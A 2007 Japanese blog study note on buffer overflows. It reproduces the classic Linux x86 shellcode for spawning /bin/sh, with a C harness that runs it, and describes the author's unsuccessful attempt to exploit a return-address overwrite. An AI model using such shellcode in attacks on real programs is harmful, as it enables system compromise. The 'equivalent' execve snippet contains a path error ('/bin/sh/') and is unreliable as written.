アキラのITメモ:/bin/shを実行するコード

IT関係、技術関係のメモです。

/bin/shを実行するコード

バッファオーバーフローについて勉強していたのですが、/bin/shを実行するコードを見つけたのでここにメモしておきます。IPA セキュアプログラミング講座で紹介されているコードです。

#include <stdio.h>
const char shellcode[] = { 
    0x31, 0xc0, 0x31, 0xd2, 0xeb, 0x11, 0x5b, 0x88, 
    0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c,    
    0x8d, 0x4b, 0x08, 0xb0, 0x0b, 0xcd, 0x80, 0xe8,
    0xea, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e,
    0x2f, 0x73, 0x68, 0x00
};
void main() {
  void (*shellfunc)();
  shellfunc = (void(*)())shellcode;
  shellfunc(); 
}

これは以下のコードと等価です。

char* args[] = {"/bin/sh/", NULL};
execve(args[0], args, NULL);

この文字列をうまく使用してバッファオーバフロー+リターンアドレス書き換えにより/bin/shを実行できないものかいろいろ試してみたのですが、自分の今の環境では動作しませんでした。というかリターンアドレスの推測がうまく出来ませんでした。昔、Vine linux上で動かした時にうまくできた記憶があるのですが、環境によってうまく動いたり動かなかったりするのかも知れません。もう少し勉強せねば。。

カテゴリ: C言語 投稿日: 2007年01月04日 21:49
Trackback URL: http://akira-site.net/cgi-bin/mt/mt-tb.cgi/411

コメント

コメントを投稿





カテゴリ「C言語」内の記事

サイト内検索

カテゴリ

最近のエントリ

関連商品

アバウト

Atom RSS
Powered by MT3.33-ja
合計:total
今日:today 昨日:yesterday